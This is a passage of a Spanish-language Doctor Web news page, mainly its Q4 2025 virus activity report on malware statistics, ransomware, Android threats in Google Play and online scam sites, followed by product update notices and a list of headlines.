Unos ejemplos de malware detectado Android.Joker. Android.Joker.2496 fue camuflado como la herramienta Useful Cleaner para «limpiar la basura» en el teléfono, y una de las modificaciones de Android.Joker.2495 — como reproductor de películas Reel Drama

Así mismo, nuestros expertos detectaron varios nuevos programas falsos de la familia Android.FakeApp. Al igual que anteriormente, algunos de ellos se propagaban haciéndose pasar por aplicaciones financieras y cargaban sitios web fraudulentos. Otras falsificaciones de este tipo se hacían pasar por juegos. En determinadas condiciones (por ejemplo, si la dirección IP del usuario cumplía los requisitos de los delincuentes), podían cargar sitios web de casas de apuestas y casinos en línea.

Un juego Chicken Road Fun era un programa falso Android.FakeApp.1910 y en vez de proporcionar funcionalidad esperada por el usuario pudo cargar la web de un casino en línea

Para proteger los dispositivos en Android contra malware y software no deseado recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el IV trimestre del año 2025

Mon, 12 Jan 2026 00:00:00 GMT

12 de enero de 2026

Según las estadísticas de detecciones del antivirus Dr.Web, en el IV trimestre del año 2025 el número total de amenazas detectadas aumentó un 16,05% comparado con el tercer trimestre. Así mismo, el número de amenazas únicas bajó un 1,13%. Los más populares fueron adware no deseado, scripts maliciosos y varios tipos de malware, así mismo, los descargadores y los troyanos de publicidad.

En el tráfico de correo con mayor frecuencia se detectaban las aplicaciones troyanas entre los cuales había descargadores, programas robacontraseñas y droppers. Además, a través de los mensajes electrónicos se difundían los exploits, backdoors y varios scripts maliciosos.

Los usuarios cuyos archivos fueron afectados por los troyanos cifradores con mayor frecuencia afrontaban los encoders Trojan.Encoder.35534, Trojan.Encoder.41868 y Trojan.Encoder.29750.

En octubre informamos sobre un backdoor para dispositivos en Android Android.Backdoor.Baohuo.1.origin que los ciberdelincuentes difunden como parte de versiones modificadas del messenger Telegram X. Este malware roba nombres de usuario y contraseñas de cuentas de Telegram y otros datos privados. Con el mismo, los creadores de virus pueden administrar las cuentas de víctimas hackeadas y controlar completamente el mismo Messenger al realizar varias acciones en nombre de usuarios.

En noviembre nuestro laboratorio antivirus publicó una investigación de un ataque objetivo realizado por un grupo de hackers Cavalry Werewolf a una entidad pública rusa. Durante el peritaje realizado, los expertos de Doctor Web realizaron múltiples herramientas maliciosas de los malintencionados, así mismo, las herramientas con el código fuente abierto que los ciberdelincuentes aplican en sus campañas. También fueron analizadas las peculiaridades del grupo y las acciones en las redes comprometidas características para el mismo.

Ya en diciembre en nuestro sitio web fue publicado el material sobre el troyano único Trojan.ChimeraWire, que “infla” artificialmente la popularidad de los sitios web y, para ello, se hace pasar por una persona, de modo que sus acciones no sean bloqueadas por los sistemas antibot de las plataformas en línea. El malware busca de forma autónoma los sitios necesarios en los motores de búsqueda, los abre y realiza clics en las páginas web de acuerdo con los parámetros recibidos de los atacantes. Trojan.ChimeraWire penetra en los equipos como resultado de funcionamiento de varios tipos de malware que explotan vulnerabilidades de la clase DLL Search Order Hijacking, y que además utilizan técnicas antidepuración para evitar su propia detección.

Durante el IV trimestre los analistas de Internet de Doctor Web registraron nuevos sitios web fraudulentos que prometían a las víctimas potenciales ganar dinero rápido y fácil. Así mismo, fueron detectados otros recursos de Internet phishing y sitios web falsos de marketplaces.

Nuestros expertos detectaron otro malware en el catálogo Google Play. Entre los mismos, los troyanos Android.Joker que suscriben a los titulares de dispositivos en Android a servicios de pago, así como malware Android.FakeApp, usado por los malintencionados en varios esquemas fraudulentos. Al mismo tiempo, las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles demostró un aumento de actividad de troyanos bancarios para la plataforma Android.

Tendencias clave del cuarto trimestre

Aumento del número de amenazas detectadas en dispositivos protegidos
Reducción del número de amenazas únicas usadas para ataques
Aumento del número de solicitudes para descifrar archivos afectados por los programas troyanos cifradores
Aumento de la actividad de troyanos bancarios destinados a titulares de dispositivos en Android
Propagación del backdoor Android.Backdoor.Baohuo.1.origin que hackea las cuentas de Telegram de usuarios en Android
Aparición de nuevo malware en el catálogo Google Play

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares del IV trimestre del año 2025

Trojan.Siggen31.34463: Un troyano creado en lenguaje de programación Go y destinado para cargar varios miners y adware en el sistema objetivo. El malware es un archivo DLL y está en %appdata%\utorrent\lib.dll. Para su inicio explota la vulnerabilidad de la clase DLL Search Order Hijacking en el cliente Torrent, uTorrent.
Adware.Downware.20091: Adware que sirve de instalador intermediario de software pirata.
VBS.KeySender.7: Un script malicioso que en un ciclo infinito busca ventanas con texto mode extensions, разработчика y розробника y les envía un evento de pulsar el botón Escape, al cerrarlas de forma forzosa.
Trojan.BPlug.4268: Detección del componente malicioso de la extensión de navegador WinSafe. Este componente es un script de JavaScript que visualiza publicidad importuna en navegadores.
Adware.Siggen.33379: Un bloqueador de publicidad de falso navegador Adblok Plus que se instala en el sistema por otro malware para visualizar publicidad.

Estadísticas de malware en el tráfico de correo

Las amenazas más populares en el tráfico de correo del IV trimestre del año 2025

W97M.DownLoader.2938: Una familia de troyanos descargadores que usan vulnerabilidades de documentos Microsoft Office. Sirven para descargar otro malware en el equipo atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Expolits para usar las vulnerabilidades en el software Microsoft Office que permiten ejecutar un código aleatorio.
Trojan.AutoIt.1413: Detección de la versión comprimida del programa troyano Trojan.AutoIt.289, creado en lenguaje script AutoIt. Se difunde como parte del grupo de malware de varios tipos: un miner, un backdoor y un módulo de autopropagación. Trojan.AutoIt.289 realiza varias acciones maliciosas que dificultan la detección de la carga útil básica.
JS.Phishing.791: Un script malicioso en lenguaje JavaScript que genera una página web phishing.

Cifradores

En el IV trimestre del año 2025 el número de solicitudes para descifrar los archivos afectados por los programas troyanos cifradores aumentó un 1,15% comparado con el III trimestre.

Dinámica de recepción de solicitudes para descifrar al Servicio de soporte técnico de Doctor Web:

Los encoders más populares del IV trimestre del año 2025

Trojan.Encoder.35534 — 24,90% solicitudes de usuarios
Trojan.Encoder.41868 — 4,21% solicitudes de usuarios
Trojan.Encoder.29750 — 3,42% solicitudes de usuarios
Trojan.Encoder.26996 — 2,68% solicitudes de usuarios
Trojan.Encoder.30356 — 0,38% solicitudes de usuarios

Estafas en la red

Durante el cuarto trimestre de 2025, los analistas de Internet de Doctor Web detectaron la aparición de nuevos sitios web falsos de marketplaces. Los estafadores, supuestamente en nombre de plataformas comerciales, ofrecen a las posibles víctimas participar en un juego de tipo «carrusel» (similar a la ruleta) con la posibilidad de ganar un premio. Tras varios intentos, al usuario «le toca la suerte», pero para recibir el premio se le exige primero el pago del envío y, posteriormente, del seguro, de impuestos, etc.
En algunos casos, a la víctima se le informa de que el producto deseado no está disponible y se le propone canjearlo por dinero. Sin embargo, para recibirlo es necesario pagar una supuesta «tasa». Si el usuario acepta, se le vuelven a exigir pagos adicionales en concepto de seguro, activación de una supuesta cuenta, entre otros.

Un ejemplo de un sitio web falso de Marketplace que propone “sortear los premios”

También se añadieron a la base de sitios no recomendados y maliciosos los nuevos recursos de Internet donde los estafadores venden entradas de teatro inexistentes. En estos sitios se ofrece asistir a funciones teatrales, incluso a precios atractivos. Sin embargo, tras realizar el pago, las víctimas no reciben las entradas deseadas y, en la práctica, entregan su dinero a los delincuentes.

Un sitio web fraudulento de venta de entradas al teatro no existentes

También se detectaron otros recursos que imitan los sitios web de cines privados y proponen adquirir entradas para ver películas. Como resultado, las víctimas no reciben ninguna entrada una vez realizada la compra en estas plataformas.

Un sitio web falso de un cine privado

Nuestros expertos detectaron una serie de recursos de phishing, entre los cuales había sitios web falsos del servicio Steam. Con su ayuda, los atacantes intentaban obtener los datos de las cuentas de los usuarios, invitándolos a introducir su nombre de usuario y contraseña para la autenticación.

Un sitio web phishing que imita un portal de Internet real Steam y propone a la víctima potencial entrar en su cuenta

Además, los estafadores otra vez atrajeron a las víctimas potenciales a proyectos de inversión no existentes. Uno de los sitios web detectados proponía a los usuarios de habla rusa en EE.UU. invertir 250$ en un proyecto llamado Federal Invest y «ganar hasta 90 000 USD en tres meses». Este proyecto supuestamente fue creado así mismo con participación de Donald Trump.

Un sitio web fraudulento que propone participar en un «proyecto de inversión ventajoso»

Otro sitio informó de que los usuarios uzbekos podían recibir hasta 15 000 000 de sumes uzbekos ya en el primer mes tras unirse al proyecto promocionado, que supuestamente estaba relacionado con un gran holding.

Un sitio web fraudulento que prometía a los residentes de Uzbekistán muchas ganancias en caso de participar en un «proyecto de inversión»

Conozca más sobre los sitios web no recomendados por Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el IV trimestre del año 2025 las amenazas más populares en Android, a pesar de la actividad más baja, otra vez fueron los troyanos de publicidad Android.MobiDash y Android.HiddenAds. Al tercer lugar subieron los representantes de malware de la familia Android.Siggen, que tiene varias funcionalidades. Durante los últimos 3 meses subió la actividad de troyanos bancarios, así mismo, el mayor crecimiento entre los mismos lo confirmaron los representantes de la familia Android.Banker.

El software no deseado más popular fueron los programas Program.CloudInject, modificados a través del servicio en la nube CloudInject. Entre software potencialmente peligroso la mayor actividad se observaba por parte de las aplicaciones Tool.NPMod, modificadas con la herramienta NP Manager. Los representantes de adware más popular fueron los módulos Adware.Adpush que los desarrolladores implementan en software en Android.

En octubre la empresa Doctor Web publicó la información sobre un backdoor peligroso Android.Backdoor.Baohuo.1.origin implementado por los malintencionados en las modificaciones del Messenger Telegram X. El malware roba la información privada y permite administrar la cuenta de la víctima, así como controlar directamente el Messenger al modificar su lógica de funcionamiento.

Durante el IV trimestre nuestros analistas de virus detectaron en el catálogo Google Play más amenazas, entre las cuales hubo troyanos Android.Joker que suscriben a usuarios a servicios de pago, y también malware usado para objetivos fraudulentos Android.FakeApp.

Los eventos más detectados vinculados a la seguridad “móvil” en el IV trimestre

Los troyanos de publicidad siguieron siendo las amenazas más populares para dispositivos en Android
Aumentó la actividad de troyanos bancarios Android.Banker
En modificaciones terceras del messenger Telegram X fue detectado un backdoor peligroso Android.Backdoor.Baohuo.1.origin
En el catálogo Google Play apareció nuevo malware

Para más información sobre los eventos de virus para dispositivos móviles en el IV trimestre del año 2025, consulte nuestro informе.

Actualizado el acuerdo de licencia del producto Dr.Web FixIt!

Mon, 29 Dec 2025 14:25:38 GMT

Hemos actualizado el acuerdo de licencia del producto Dr.Web FixIt!. Puede consultar el documento en el siguiente enlace: https://license.drweb.com/agreement

Dr.Web FixIt! es necesario para realizar un análisis detallado de seguridad en estaciones de trabajo y servidores con sistema operativo Windows, así como para eliminar las amenazas de virus detectadas y las vulnerabilidades potenciales. Su principal ventaja radica en la capacidad de detectar malware de última generación y programas utilizados en ataques dirigidos que no son identificados por otras herramientas de ciberseguridad.

Dr.Web FixIt! está dirigido principalmente a expertos encargados de la supervisión de la seguridad de la infraestructura informática y del análisis de ciberincidentes. Sin embargo, incluso si la empresa no dispone de un equipo SOC especializado, esta solución puede tanto diagnosticar amenazas en una estación de trabajo como desinfectarla una vez detectadas.
Si es necesario, los expertos de Doctor Web pueden analizar la información obtenida mediante Dr.Web FixIt!. Para ello, es preciso adquirir un certificado de seguimiento experto de la tarea.

La solución está disponible a través de los socios de Doctor Web.

Actualización importante del servidor de control centralizado para Dr.Web Enterprise Security Suite y Dr.Web Industrial

Fri, 12 Dec 2025 11:27:10 GMT

La empresa Doctor Web lanza una actualización importante para el servidor en Dr.Web Enterprise Security Suite y Dr.Web Industrial 13.0.1.202511120. Estará disponible para la descarga a partir del 15 de diciembre de 2025. El cambio clave es la ampliación de la funcionalidad del componente «Control de aplicaciones», lo cual ayudará a mejorar bastante la protección de usuarios.

En el paquete de actualizaciones hemos añadido la nueva funcionalidad y mejoras. En particular, para los usuarios de la línea de productos de Dr.Web Enterprise Security Suite y Dr.Web Industrial fue ampliada la lista de criterios del análisis funcional:

En la categoría «Inicio de aplicaciones» aparecieron prohibiciones para iniciar los procesos subordinados por los programas de oficina y clientes de correo. Esto reduce el riesgo de infección a través de los documentos maliciosos y mensajes, sin afectar al trabajo ordinario de usuarios.
En la categoría «Inicio de interpretadores de script» han sido añadidas las nuevas reglas que permiten bloquear el inicio de scripts de aplicaciones de oficina y clientes de correo y restringir la ejecución de scripts AutoIt, así como Java y Python. Estas restricciones protegen contra el uso indebido de interpretadores usados con frecuencia en caso de ciberataques, así como en caso de ejecución de automatizaciones no deseadas.
En la categoría «Carga de controladores» se ha incluido una prohibición para instalar los controladores sin firma WHQL, lo cual ayuda a prevenir el uso de los módulos no firmados y la carga del código potencialmente peligroso al núcleo del sistema.

El conjunto de reglas actualizado les proporciona a los administradores de los medios de protección las herramientas más flexibles para prevenir la actividad maliciosa y mejorar la resistencia de la infraestructura frente a las amenazas modernas.
Así mismo, hemos corregido algunos problemas anteriormente detectados. Entre los mismos:

Se ha corregido un error que pudo surgir al actualizar el software del Servidor Dr.Web con Windows SO en condiciones de recursos de computación limitados;
Se ha corregido un error por el que, en caso de seleccionar la configuración «Actualizar solo las bases» en la sección del Centro de Control «Restricciones de actualizaciones» no se actualizaba el producto del repositorio «Bases de filtros de contenido para UNIX»;
Se ha corregido la lógica de actualización de la caché de respuestas del servidor DNS.

Para el listado detallado de correcciones, véase este documento.

Todas las noticias

Actualización del servidor de control centralizado para Dr.Web Enterprise Security Suite y Dr.Web Industrial

Actualización del componente antispam en Dr.Web Enterprise Security Suite y en Dr.Web por suscripción

Actualizado el Acuerdo de Licencia del software Dr.Web

Objetivo: desarrolladores. Un nuevo troyano ataca la cadena de suministro y provoca daños combinados en los equipos infectados

Etapa 1. Trojan.DownLoader49.35384

Etapa 2. Trojan.DownLoader49.35687

Etapa 3. BackDoor.Siggen2.5906

Stealer

Clipper

Backdoor

Miner

Infección de archivos

Archivo imgui_impl_win32.cpp. Trojan.Loader.3129

Archivos .suo. Trojan.Loader.3138

Archivos winnetwk.h. Trojan.Loader.3184

Archivos .exe

Archivos .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) y .csproj (Trojan.Loader.3126)

Doctor Web: informe de la actividad de virus para dispositivos móviles en el II trimestre de 2026

Tendencias clave del II trimestre

Según los datos de Dr.Web Security Space para dispositivos móviles

Amenazas en Google Play

Doctor Web: informe de la actividad de virus en el II trimestre del año 2026

Tendencias clave del II trimestre

Según los datos del servicio de estadísticas de Doctor Web

Estadísticas de malware en el tráfico de correo

Cifradores

Fraudulencias en la red

Malware y software no deseado para dispositivos móviles

¡La espera ha terminado! Dr.Web CureIt! Pro ya está disponible gratis para todos los usuarios

Dr.Web CureIt! será aún más cómodo. Anuncio de la versión Pro avanzada

El troyano Android.MagicAd muestra publicidad saltándose todas las restricciones

En vez de trabajo: datos y dinero robados. En aplicaciones falsas para entrevistas online se oculta un troyano ladrón que ataca a usuarios de macOS y Windows

MITRE ATT&CK®

Cambio en los plazos de soporte de los productos Dr.Web

Doctor Web: informe de la actividad de virus en el I trimestre de 2026

Principales tendencias del I trimestre

Según los datos del servicio de estadísticas Doctor Web

Estadísticas de malware en el tráfico de correo

Cifradores

Fraudulencias en la red

Malware y software no deseado para dispositivos móviles

Doctor Web: informe de la actividad de virus para dispositivos móviles en el I trimestre de 2026

Principales tendencias del I trimestre

Según los datos Dr.Web Security Space para dispositivos móviles

Amenazas en Google Play

Los troyanos de la familia Android.Phantom penetran en smartphones junto con juegos y mods piratas de aplicaciones populares. Usan aprendizaje automático y transmisiones de vídeo para la generación fraudulenta de clics

Doctor Web: informe de la actividad de virus en el año 2025

Tendencias clave del año

Los eventos más destacados del año 2025

Los eventos de virus

Cifradores

Fraudulencias en la red

Para dispositivos móviles

Perspectivas y probables tendencias

Doctor Web: informe de la actividad de virus para dispositivos móviles en el año 2025

Lo más destacado

TENDENCIAS DEL AÑO PASADO

Los eventos más destacados del año 2025

Estadísticass

Amenazas en Google Play

Troyanos bancarios

Perspectivas y tendencias

Doctor Web: informe de la actividad de virus para dispositivos móviles en el IV trimestre del año 2025

TENDENCIAS CLAVE DEL IV TRIMESTRE

Según los datos de Dr.Web Security Space para dispositivos móviles

Amenazas en Google Play

Doctor Web: informe de la actividad de virus en el IV trimestre del año 2025

Tendencias clave del cuarto trimestre

Según los datos del servicio de estadísticas Doctor Web

Estadísticas de malware en el tráfico de correo

Cifradores

Estafas en la red

Malware y software no deseado para dispositivos móviles

Actualizado el acuerdo de licencia del producto Dr.Web FixIt!

Actualización importante del servidor de control centralizado para Dr.Web Enterprise Security Suite y Dr.Web Industrial